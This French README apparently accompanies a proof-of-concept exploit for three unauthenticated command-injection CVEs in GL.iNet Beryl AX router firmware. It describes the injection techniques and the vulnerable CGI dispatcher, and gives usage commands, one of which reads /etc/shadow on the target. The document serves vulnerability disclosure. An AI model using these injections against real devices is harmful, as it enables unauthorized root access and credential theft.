
PoC pour trois vulnérabilités d'injection de commande non authentifiées (CVE-2026-11450/1/2) dans le firmware du routeur de voyage GL.iNet Beryl AX <=4.4.5, exploitant le dispatcher CGI sans authentification.
PoC pour trois vulnérabilités d'injection de commande non authentifiées (CVE-2026-11450, CVE-2026-11451, CVE-2026-11452) dans le firmware du routeur de voyage GL.iNet GL-MT3000 (Beryl AX) <= 4.4.5.
Writeup complet : https://www.hunt-benito.com/blog/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/
| CVE | CVSS | Technique |
|---|---|---|
| CVE-2026-11450 | 7.3 | Décalage de taille de tampon (0x40 vs 0x100) contourne la porte access(), $() injecté via system() |
| CVE-2026-11451 | 7.3 | Échappement de guillemet simple dans le paramètre FTP media_dir casse le quoting du shell |
| CVE-2026-11452 | 7.3 | Substitution de commande $() dans le paramètre Samba password à l'intérieur d'un printf entre guillemets |
Les trois exploitent le dispatcher CGI non authentifié /cgi-bin/glc qui charge des plugins via dlopen/dlsym sans authentification ni liste blanche de méthodes.
# Exploit all three CVEs
python3 poc.py http://192.168.8.1
# Exploit a specific CVE
python3 poc.py http://192.168.8.1 -c "id" -v 11450
python3 poc.py https://192.168.8.1 -c "id" -v 11451
python3 poc.py https://192.168.8.1 -c "id" -v 11452
# Custom command and output file
python3 poc.py http://192.168.8.1 -c "cat /etc/shadow" -o /tmp/pwned
À des fins éducatives et de recherche en sécurité autorisée uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.